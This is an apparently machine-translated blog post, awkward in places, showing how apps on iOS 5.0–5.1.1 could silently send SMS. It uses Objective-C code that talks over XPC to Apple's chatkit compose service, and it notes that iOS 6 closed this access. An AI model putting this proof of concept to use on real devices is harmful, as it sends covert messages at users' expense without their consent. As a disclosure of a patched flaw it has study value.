懐中電灯はSMSを送信できます:デバイスをiOS 6にアップグレードするもう1つの理由





今日は、iOS 5セキュリティシステムの仕組みについては説明しませんが、ドキュメント化されていない機能を通じて情報クラムを収集することはありません。 ユーザーの知識がなくても、アプリケーションからSMSを送信するだけです。







iOSの低レベルの操作を説明するWeb上の情報はほとんどありません。 これらのパン粉は、全体として画像を復元することはできません。 多くのヘッダーファイルの背後には、ソースが閉じられています。 ほとんどの手順はほとんど盲目的に行われなければなりません。 実験の主な分野は、モバイルプラットフォームの「先駆者」であるMacOS Xです。



MacOS上のプロセス間通信システムの1つはXPCです。 このシステム層は、libSystemおよびlaunchdを使用したplist構造の転送に基づいたプロセス間通信用に作成されています。 実際、これは辞書構造を交換することでプロセスを制御できるインターフェースです。 そして、遺伝のおかげで、iOS 5にもこのメカニズムがあります。



おそらく、この紹介で私が言いたいことをすでに理解しているでしょう。 はい、iOSにはXPCインタラクションの機能を持つシステムサービスがあります。 そして私の例では、デーモンと連携してSMSメッセージを送信する方法を示したいと思います。 ただし、まず、次のことを言う必要があります。 この機能はiOS 6では閉じられていますが、iOS 5.0-5.1.1に関連しています。 その実装には、脱獄、プライベートフレームワーク、その他の違法な手段は必要ありません。 必要なのは、MacOSの/ usr / include / xpc / *ディレクトリからのヘッダーファイルのセットだけです。



iOSオペレーティングシステムでは、SMSメッセージを送信するための要素の1つにcom.apple.chatkitシステムサービスがあり、そのタスクは短いテキストメッセージの作成、管理、および送信です。 管理を容易にするために、パブリック通信ポートcom.apple.chatkit.clientcomposeserver.xpcがあります。 XPCサブシステムを使用すると、ユーザーの確認なしでメッセージを作成および送信できます。







さて、接続を作成してみましょう。



xpc_connection_t myconnection; dispatch_queue_t queue = dispatch_queue_create("com.apple.chatkit.clientcomposeserver.xpc", DISPATCH_QUEUE_CONCURRENT); myconnection = xpc_connection_create_mach_service("com.apple.chatkit.clientcomposeserver.xpc", queue, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
      
      







これで、SMSを送信するためのサービスへのmyconnectionのXPC接続ができました。 ただし、XPCは、接続が「凍結」形式で作成されるように設計されています。接続をアクティブにするには、もう1つの手順が必要です。



 xpc_connection_set_event_handler(myconnection, ^(xpc_object_t event) { xpc_type_t xtype = xpc_get_type(event); if(XPC_TYPE_ERROR == xtype) { NSLog(@"XPC sandbox connection error: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION)); } // Always set an event handler. NSLog(@"Received an message event!"); }); xpc_connection_resume(myconnection);
      
      







接続を復活させます。 iOS 6では、この種の相互作用が禁止されているというメッセージが電話ログに表示されるのはこの時点です。 次に、メッセージを送信するために必要なデータを使用して、xpc_dictionaryに類似した辞書を作成する必要があります。



 NSArray *receipements = [NSArray arrayWithObjects:@"+7 (90*) 000-00-00", nil]; NSData *ser_rec = [NSPropertyListSerialization dataWithPropertyList:receipements format:200 options:0 error:NULL]; xpc_object_t mydict = xpc_dictionary_create(0, 0, 0); xpc_dictionary_set_int64(mydict, "message-type", 0); xpc_dictionary_set_data(mydict, "recipients", [ser_rec bytes], [ser_rec length]); xpc_dictionary_set_string(mydict, "text", "hello from your application!");
      
      







少し残っています:XPCポートにメッセージを送信し、それが配信されることを確認します。



 xpc_connection_send_message(myconnection, mydict); xpc_connection_send_barrier(myconnection, ^{ NSLog(@"Message has been successfully delievered"); });
      
      







サウンドはSMSを短い番号に送信しました。

そのため、iOS 6でこの機能を削除する前に、どのアプリケーションもユーザーの知らないうちにSMSメッセージを送信できました。 iOS 6では、Appleは、サンドボックスからこのサービスに接続できないセキュリティの追加レイヤーを追加しました。



ご清聴ありがとうございました!



All Articles